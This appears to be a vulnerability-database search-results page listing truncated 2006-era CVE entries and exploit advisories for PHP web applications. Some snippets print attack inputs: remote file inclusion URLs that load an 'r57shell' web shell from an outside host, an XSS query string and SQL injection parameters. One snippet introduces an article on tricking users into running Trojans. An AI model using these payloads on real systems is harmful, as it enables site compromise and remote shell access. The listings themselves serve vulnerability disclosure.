5013 matches found
CVE-2006-6233: Undefined Security Weakness
SQL injection vulnerability in the Downloads module for unknown versions of PostNuke allows remote attackers to execute arbitrary SQL commands via the lid parameter in a viewdownloaddetails operation. NOTE: this issue might have been in the viewdownloaddetails function in dl-downloaddetails.php,...
US-CERT Technical Cyber Security Alert TA06-333A -- Apple Releases Security Update to Address Multiple Vulnerabilities
-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 National Cyber Alert System Technical Cyber Security Alert TA06-333A Apple Releases Security Update to Address Multiple Vulnerabilities Original release date: November 29, 2006 Last revised: -- Source: US-CERT Systems Affected Apple Mac OS X version...
NETGEAR WG311v1 Wireless Driver 2.3.1.10 - SSID Heap Buffer Overflow
NETGEAR WG311v1 Wireless Driver 2.3.1.10 - SSID Heap Buffer Overflow source: https://www.securityfocus.com/bid/21251/info NetGear WG311v1 Wireless devices are prone to a heap-based buffer-overflow vulnerability because the driver fails to properly bounds-check user-supplied data before copying it...
iPrimal Forums Remote File Inclusion
iPrimal Forums Remote File Inclusion Download:http://ipigroup.org/downloads/forums.zip Found by Bl0od3r Vulnerable Code: line 126-129 ..... if$GET'p' == '' echo 'Please select an item from the menu above.'; else include$GET'p'.'.php'; ..... Affected File: /admin/index.php = Vulnerability:...
CVE-2006-5121: Undefined Security Weakness
SQL injection vulnerability in modules/Downloads/admin.php in the Admin section of PostNuke 0.762 allows remote attackers to execute arbitrary SQL commands via the hits parameter...
SaveWebPortal 3.4 - page Remote File Inclusion
SaveWebPortal 3.4 - page Remote File Inclusion -------------------------------------------- SaveWebPortal -------------------------------------------- to inject succesfully you have to create a file called shell.html.txt or shell.php.txt otherwise it wont work!...
PHP-Nuke - 'INP modules.php' Cross-Site Scripting
source: https://www.securityfocus.com/bid/19208/info PHPNuke INP is prone to a cross-site scripting vulnerability that affects the 'modules.php' script. The specific version affected is currently unknown. http://www.example.com/path/modules.php?name=Downloads&op=search&query=alert'ARIA'...
Module's Name Downloads <<--V 7 SQL injection
============================================= Discovered By: CrAzY CrAcKeR Site:www.alshmokh.com I want to thank my friend:- nono225-mHOn-rageh-Lover Hacker-Breeeeh BoNym-Rootshill-LiNuXrOOt-Sw33t h4ck3r ============================================= Example:-...
How to let someone in Trojan－Trojan a commonly used trick Daguan-vulnerability warning-the black bar safety net
How to let others in the Trojan horse? It is the users who ask the most questions, sketchy answers there are some, but always very little, so the small fish decided to collect everyone's wisdom and Next a little experience to write a feature article. Hope that you get to the floor, perfect this...
CVE-2006-2964
Multiple PHP remote file inclusion vulnerabilities in Xtreme Scripts Download Manager aka Xtreme Downloads 1.0 allow remote attackers to execute arbitrary PHP code via a URL in the root parameter in 1 download.php, 2 manager.php, 3 admin/scripts/category.php, 4 includes/addallow.php, 5...
CVE-2006-2964
Multiple PHP remote file inclusion vulnerabilities in Xtreme Scripts Download Manager aka Xtreme Downloads 1.0 allow remote attackers to execute arbitrary PHP code via a URL in the root parameter in 1 download.php, 2 manager.php, 3 admin/scripts/category.php, 4 includes/addallow.php, 5...
xtreme10.txt
Multiple file include exploits in Xtreme Downloads v.1.0 script type : Xtreme Downloads v.1.0 bug found by : sweet-devil & black-code team : site-down type : file include exploits : download.php http://www.example.com/path/download.php?root=http://yoursite/r57shell.txt? manager.php...
Multiple file include exploits in Xtreme Downloads v.1.0
Multiple file include exploits in Xtreme Downloads v.1.0 script type : Xtreme Downloads v.1.0 bug found by : sweet-devil & black-code team : site-down type : file include exploits : download.php http://www.example.com/path/download.php?root=http://yoursite/r57shell.txt? manager.php...
file include in Xtreme Downloads v.1.0
Multiple file include exploits in Xtreme Downloads v.1.0 script type : Xtreme Downloads v.1.0 bug found by : sweet-devil team : site-down type : file include exploits : download.php http://www.example.com/path/download.php?root=http://yoursite/r57shell.txt? manager.php...
modulesSQL2.txt
By: Mr-X Email: [email protected] Subject: modules nameDownloadsSQL Injection example:- /modules.php?/modules.php?name=Downloads&dop=viewdownload&cid=SQL...
modules name(Downloads)SQL Injection Exploit
By: Mr-X Email: [email protected] Subject: modules nameDownloadsSQL Injection example:- /modules.php?/modules.php?name=Downloads&dop=viewdownload&cid=SQL...
PHPNuke 7.* Version Downloads Module SQL Injection Exp.
PHPNuke 7. Version Downloads Module SQL Injection Exp. Credit : WiLdBoY Exp. Link : http://root-security.t35.com/PHPNuke-Downloads.pl -- Check out the latest SMS services @ http://www.linuxmail.org This allows you to send and receive SMS through your mailbox. Powered by Outblaze...
PHPNuke 7.* Version Downloads Module SQL Injection Exp.
PHPNuke 7. Version Downloads Module SQL Injection Exp. Credit : WiLdBoY Exp. Link : http://root-security.t35.com/PHPNuke-Downloads.pl -- Check out the latest SMS services @ http://www.linuxmail.org This allows you to send and receive SMS through your mailbox. Powered by Outblaze...
CVE-2006-1033
Multiple cross-site scripting XSS vulnerabilities in Dragonfly CMS before 9.0.6.1 allow remote attackers to inject arbitrary web script or HTML via 1 uname, 2 error, 3 profile or 4 the username filed parameter to the a YourAccount module, 5 catid, 6 sid, 7 Story Text or 8 Extended text text field...
CVE-2006-1033
Multiple cross-site scripting XSS vulnerabilities in Dragonfly CMS before 9.0.6.1 allow remote attackers to inject arbitrary web script or HTML via 1 uname, 2 error, 3 profile or 4 the username filed parameter to the a YourAccount module, 5 catid, 6 sid, 7 Story Text or 8 Extended text text field...